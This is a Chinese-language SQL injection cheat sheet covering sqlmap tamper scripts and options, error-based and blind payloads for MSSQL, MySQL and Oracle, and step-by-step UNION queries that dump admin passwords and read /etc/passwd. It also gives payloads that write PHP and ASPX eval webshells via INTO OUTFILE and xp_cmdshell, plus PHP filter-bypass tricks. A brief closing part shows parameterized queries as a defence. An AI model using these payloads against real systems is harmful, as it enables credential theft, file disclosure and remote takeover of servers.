脚本名称

作用

apostrophemask.py

用utf8代替引号

equaltolike.py

like 代替等号

space2dash.py

绕过过滤‘=’ 替换空格字符（”），（’ – ‘）后跟一个破折号注释，一个随机字符串和一个新行（’ n’）

greatest.py

绕过过滤’>’ ,用GREATEST替换大于号。

space2hash.py

空格替换为#号 随机字符串 以及换行符

apostrophenullencode.py

绕过过滤双引号，替换字符和双引号。

halfversionedmorekeywords.py

当数据库为mysql时绕过防火墙，每个关键字之前添加mysql版本评论

space2morehash.py

空格替换为 #号 以及更多随机字符串 换行符

appendnullbyte.py

在有效负荷结束位置加载零字节字符编码

ifnull2ifisnull.py

绕过对 IFNULL 过滤。 替换类似’IFNULL(A, B)’为’IF(ISNULL(A), B, A)’

space2mssqlblank.py

空格替换为其它空符号

base64encode.py

用base64编码替换

space2mssqlhash.py

替换空格

modsecurityversioned.py

过滤空格，包含完整的查询版本注释

space2mysqlblank.py

空格替换其它空白符号(mysql)

between.py

用between替换大于号（>）

space2mysqldash.py

替换空格字符（”）（’ – ‘）后跟一个破折号注释一个新行（’ n’）

multiplespaces.py

围绕SQL关键字添加多个空格

space2plus.py

用+替换空格

bluecoat.py

代替空格字符后与一个有效的随机空白字符的SQL语句。 然后替换=为like

nonrecursivereplacement.py

取代predefined SQL关键字with表示 suitable for替代（例如 .replace（“SELECT”、””)） filters

space2randomblank.py

代替空格字符（“”）从一个随机的空白字符可选字符的有效集

sp_password.py

追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾

chardoubleencode.py

双url编码(不处理以编码的)

unionalltounion.py

替换UNION ALL SELECT UNION SELECT

charencode.py

url编码

randomcase.py

随机大小写

unmagicquotes.py

宽字符绕过 GPC addslashes

randomcomments.py

用/**/分割sql关键字

charunicodeencode.py

字符串 unicode 编码

securesphere.py

追加特制的字符串

versionedmorekeywords.py

注释绕过

space2comment.py

Replaces space character (‘ ‘) with comments ‘/**/’

1.  避免过多的错误请求被屏蔽 参数：--safe-url,--safe-freq

2.  二阶SQL注入  参数：--second-order

3.  从数据库服务器中读取文件 参数：--file-read

4.  把文件上传到数据库服务器中 参数：--file-write,--file-dest

5.  爬行网站URL 参数：--crawl

6.  非交互模式  参数：--batch

7.  测试WAF/IPS/IDS保护 参数：--identify-waf

8.  启发式判断注入      参数：--smart（有时对目标非常多的URL进行测试，为节省时间，只对能够快速判断为注入的报错点进行注入，可以使用此参数。）

9.  -technique

B : 基于Boolean的盲注(Boolean based blind)

Q : 内联查询(Inline queries)

T : 基于时间的盲注(time based blind)

U : 基于联合查询(Union query based)

E : 基于错误(error based)

S : 栈查询(stack queries)

# In case of time-based blind or stacked queries

# SQL injections

elif method == PAYLOAD.METHOD.TIME:

    # Perform the test's request

    trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)

    if trueResult:

        # Confirm test's results

        trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)

        if trueResult:

            infoMsg = "%s parameter '%s' is '%s' injectable " % (place, parameter, title)

            logger.info(infoMsg)

            injectable = True

if timeBasedCompare:

    return wasLastRequestDelayed()

def wasLastRequestDelayed():

    """

    Returns True if the last web request resulted in a time-delay

    """

    deviation = stdev(kb.responseTimes)

    threadData = getCurrentThreadData()

    if deviation:

        if len(kb.responseTimes) < MIN_TIME_RESPONSES:

            warnMsg = "time-based standard deviation method used on a model "

            warnMsg += "with less than %d response times" % MIN_TIME_RESPONSES

            logger.warn(warnMsg)

        lowerStdLimit = average(kb.responseTimes) + TIME_STDEV_COEFF * deviation

        retVal = (threadData.lastQueryDuration >= lowerStdLimit)

        if not kb.testMode and retVal and conf.timeSec == TIME_DEFAULT_DELAY:

            adjustTimeDelay(threadData.lastQueryDuration, lowerStdLimit)

        return retVal

    else:

        return (threadData.lastQueryDuration - conf.timeSec) >= 0

if timeBasedCompare:

    return wasLastRequestDelayed()

elif noteResponseTime:

    kb.responseTimes.append(threadData.lastQueryDuration)

Microsoft OLE DB  Provider

ORA-

PLS-

Error in your SQL Syntax

SQL Error

Incorrect Syntax near

Failed Mysql

Unclosed Quotation Mark

JDBC/ODBC Driver

Mysql: /?param=1 select count(*) from information_schema.tables group by

concat(version(),floor(rand(0)*2))

MSSQL: /?param=1 and(1)=convert(int,@@version)--

Sybase: /?param=1 and(1)=convert(int,@@version)--

Oracle >=9.0: /?param=1 and(1)=(select upper(XMLType(chr(60)||chr(58)||chr(58)||(select

replace(banner,chr(32),chr(58)) from sys.v_$version where rownum=1)||chr(62))) from dual)—

PostgreSQL: /?param=1 and(1)=cast(version() as numeric)--

DB

连接符

行注释

唯一的默认表变量和函数

MSSQL

%2B    （URL+号编码）

e.g. ?category=sho’%2b’es

--

@@PACK_RECEIVED

MYSQL

%20    （URL空格编码）

#

CONNECTION_ID()

Oracle

||

--

BITAND(1,1)

PGsql

||

--

getpgusername()

Access

“a” & “b”

N/A

msysobjects

内容

MSSQL

MYSQL

ORACLE

查看版本

select @@version

select @@version

select version()

Select banner from v$version;

当前用户

select system_users;

select suer_sname();

select user;

select loginname from master..sysprocesses WHERE spid =@@SPID;

select user();

select system_user();

Select user from dual

列出用户

select name from master..syslogins;

select user from mysql.user;

Select username from all_users ORDER BY username;

Select username from all_users;

当前库

select DB_NAME();

select database();

Select global_name from global_name;

列出数据库

select name from master..sysdatabases;

select schema_name from information_schema.schemata;

Select ower,table_name from all_users;

#列出表明

当前用户权限

select is_srvolemenber(‘sysadmin’);

select grantee, privilege_type,is_grantable from information schema.user privileges;

Select * from user role_privs;

Select * from user_sys_privs;

服务器主机名

select @@servername;

/

Select sys_context(‘USERENV’,’HOST’) from dual;

数据

MSSQL

Mysql

oracle

字符串长度

LEN()

LENGTH()

LENGTH()

从给定字符串中提取子串

SUBSTRING(string,offset,length)

SELECT SUBSTR(string,offset,length)

SELECT SUBSTR(string,offset,length)

From dual

字符串(‘ABC’)不带单引号的表示方式

SELECT CHAR(0X41)+CHAR(0X42)+

CHAR(0X43)

Select char(65,66,67)

Select chr(65)||chr(66)+chr(67) from dual

触发延时

WAITFOR DELAY ‘0:0:9’

BENCHMARK(1000000,MD5(“HACK”))

Sleep(10)

BEGIN DBMS_LOCK.SLEEP(5);END; --(仅PL/SQL注入)

UTL_INADDR.get_host_name()

UTL_INADDR.get_host_address()

UTL_HTTP.REQUEST()

IF语句

If (1=1) select ‘A’ else select ‘B’

SELECT if(1=1,’A’,’B’)

/

数据库

语句(大多需要配合编码)

Oracle

oder by N

# 爆出第一个数据库名

and 1=2 union select 1,2,(select banner from sys.v_ where rownum=1),4,5,6 from dual

# 依次爆出所有数据库名,假设第一个库名为first_dbname

and 1=2 union select 1,2,(select owner from all_tables where rownum=1 and owner<>'first_dbname'),4,5,6 from dual

爆出表名

and 1=2 union select 1,2,(select table_name from user_tables where rownum=1),4,5,6 from dual

同理,同爆出下一个数据库类似爆出下一个表名就不说了,但是必须注意表名用大写或者表名大写的十六进制代码。
有时候我们只想要某个数据库中含密码字段的表名,采用模糊查询语句，如下：
and (select column_name from user_tab_columns where column_name like
'%25pass%25')<0

爆出表tablename中的第一个字段名

and 1=2 union select 1,2,(select
column_name from user_tab_columns where table_name='tablename' and
rownum=1),4,5,6 from dual

依次下一个字段名

and 1=2 union select 1,2,(select
column_name from user_tab_columns where table_name='tablename' and
column_name<>'first_col_name' and rownum=1),4,5,6 from dual

若为基于时间或者基于bool类型盲注，可结合substr 、ASCII进行赋值盲测。

若屏蔽关键函数，可尝试SYS_CONTEXT('USERENV','CURRENT_USER')类用法。

Mysql

#正常语句

192.168.192.128/sqltest/news.php?id=1

#判断存在注入否

192.168.192.128/sqltest/news.php?id=1 and
1=2

#确定字段数
order by

192.168.192.128/sqltest/news.php?id=-1
order by 3

#测试回显字段

192.168.192.128/sqltest/news.php?id=-1
union select 1,2,3

#测试字段内容

192.168.192.128/sqltest/news.php?id=-1
union select 1,user(),3

192.168.192.128/sqltest/news.php?id=-1
union select
1,group_concat(user(),0x5e5e,version(),0x5e5e,database(),0x5e5e,@@basedir),3

#查询当前库下所有表

192.168.192.128/sqltest/news.php?id=-1
union select 1,2,group_concat(table_name) from information_schema.tables
where table_schema=database()

#查询admin表下的字段名（16进制）

192.168.192.128/sqltest/news.php?id=-1
union select 1,2,group_concat(column_name) from information_schema.columns
where table_name=0x61646d696e

#查询admin表下的用户名密码

192.168.192.128/sqltest/news.php?id=-1
union select 1,2,group_concat(name,0x5e,pass) from admin

#读取系统文件（/etc/passwd，需转换为16进制）

192.168.192.128/sqltest/news.php?id=-1
union select 1,2,load_file(0x2f6574632f706173737764)

#文件写入

192.168.192.128/sqltest/news.php?id=-1
union select 1,2,0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into
outfile '/var/www/html/1.php'--

PS：若权限不足，换个目录

MSSQL

PS：回显型请查阅参考资料的链接，这里主要盲注的语法。

#爆数据库版本（可先测长度）

aspx?c=c1'/**/and/**/ascii(substring(@@version,1,1))=67/**/--&t=0

ps:在范围界定时，可利用二分查找结合大于小于来利用；亦可直接赋值脚本爆破，依次类推直至最后一字母。

#爆当前数据库名字

aspx?c=c1'/**/and/**/ascii(substring(db_name(),1,1))>200/**/--&t=0

#爆表

aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1
name/**/from/**/dbname.sys.all_objects where
type='U'/**/AND/**/is_ms_shipped=0),1,1))>0/**/--&t=0

#爆user表内字段

aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/
1/**/COLUMN_NAME from/**/dbname.information_schema.columns/**/where/**
/TABLE_NAME='user'),1,1))>0/**/--&t=0

#爆数据

aspx?c=c1'/**/and/**/ascii(substring((select/**/top/**/1/**/fPwd/**/from/**/User),1,1))>0/**/--&t=0

NO.

概要

1

$_SERVER未转义

2

更新时未重构更新序列

3

使用了一个未定义的常量

4

PHP自编标签与strip_tags顺序逻辑绕过

5

可控变量进入双引号

6

宽字节转编码过程

7

mysql多表查询绕过

8

别名as+反引号可闭合其后语句

9

mysql的类型强制转换

10

过滤条件是否有if判断进入

11

全局过滤存在白名单

12

字符串截断函数获取定长数据

13

括号包裹绕过

14

弱类型验证机制

15

WAF或者过滤了and|or的情况可以使用&&与||进行盲注。

16

windows下php中访问文件名使用”<” “>”将会被替换成”*” “?”

17

二次urldecode注入

18

逻辑引用二次注入

<?php

function mystrip_tags($string)

{

$string = remove_xss($string);

$string = new_html_special_chars($string);

$string = strip_tags($string);//remove_xss在strip_tags之前调用，所以很明显可以利用strip_tags函数绕过,在关键字中插入html标记.

return $string;

}

?>

select uid,password from users,admins；

(uid存在于users、password存在于admins）

提交/?test=0axxx    -> empty($_GET['test'])
=> 返回真

if($config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey'])

{

foreach($_POST as $id=>$v){

safesql($id,$v,"POST",$config);

$id = sfkeyword($id,$config);

$v = sfkeyword($v,$config);

$_POST[$id]=common_htmlspecialchars($v);

}

}

$webscan_white_directory='admin|\/dede\/|\/install\/';

http://www.target.com/index.php/dede/?m=foo&c=bar&id=1'
and 1=2 union select xxx

yy0zpaspibi.jpg");

<?php

$a=addslashes($_GET['p']);

$b=urldecode($a);

echo '$a=' .$a;

echo '<br />';

echo '$b=' .$b;

?>

SqlConnection conn = new SqlConnection("server=(local)\\SQL2005;user id=sa;pwd=12345;initial
catalog=TestDb");

conn.Open();

SqlCommand cmd = new SqlCommand("SELECT TOP 1 * FROM [User] WHERE
UserName = @UserName AND Password = @Password");

cmd.Connection = conn;

cmd.Parameters.AddWithValue("UserName", "user01");

cmd.Parameters.AddWithValue("Password", "123456");

reader = cmd.ExecuteReader();

reader.Read();

int userId = reader.GetInt32(0);

reader.Close();

conn.Close();

// 实例化数据抽象层对象

$db = new PDO('pgsql:host=127.0.0.1;port=5432;dbname=testdb');

// 对 SQL 语句执行 prepare，得到 PDOStatement 对象

$stmt = $db->prepare('SELECT * FROM "myTable"
WHERE "id" = :id AND "is_valid" = :is_valid');

// 绑定参数

$stmt->bindValue(':id', $id);

$stmt->bindValue(':is_valid', true);

// 查询

$stmt->execute();

// 获取数据

foreach($stmt as $row) {

var_dump($row);

}

java.sql.PreparedStatement prep = connection.prepareStatement(

"SELECT * FROM `users` WHERE USERNAME =
? AND PASSWORD = ?");

prep.setString(1, username);

prep.setString(2, password);

prep.executeQuery();

;EXEC sp_configure 'show advanced
options',1;//允许修改高级参数

RECONFIGURE;

EXEC sp_configure 'xp_cmdshell',1;  //打开xp_cmdshell扩展

RECONFIGURE;--

;CREATE TABLE tt_tmp (tmp1 varchar(8000));--

;insert into tt_tmp(tmp1) exec master..xp_cmdshell 'for /r c:\ %i
in (*index*.aspx) do @echo %i ';--

;exec master..xp_cmdshell 'echo test >c:\\WWW\\2333.txt';--

写shell

;exec master..xp_cmdshell 'echo ^<%@ Page
Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^>
> c:\\WWW\\233.aspx' ;--

删除临时表

;DROP TABLE tt_tmp ;--

关闭xp_cmdshell

;EXEC sp_configure 'xp_cmdshell',0;  //关闭xp_cmdshell扩展

RECONFIGURE;

EXEC sp_configure 'show advanced
options',0;//不允许修改高级参数

RECONFIGURE; --

序号

功能点

参数

1

登录

Username
password

2

Header

Cookie Referer x-forward remote-ip

3

查询展示

数据写入（表单）

数据更新

id
u category price str value

4

数据搜素

Key

5

伪静态

（同3），加*

6

Mysql不安全配置

Set character_set_client=gbk

%df%27

7

传参（横向数据流向、纵向入库流向）

Parameter
（同3）

8

订单类多级交互、重新编辑

配送地址、资料编辑

二次注入

9

APP仍调用WEB API

同3

10

编码urldecode base64

Urldecode() rawurldecode()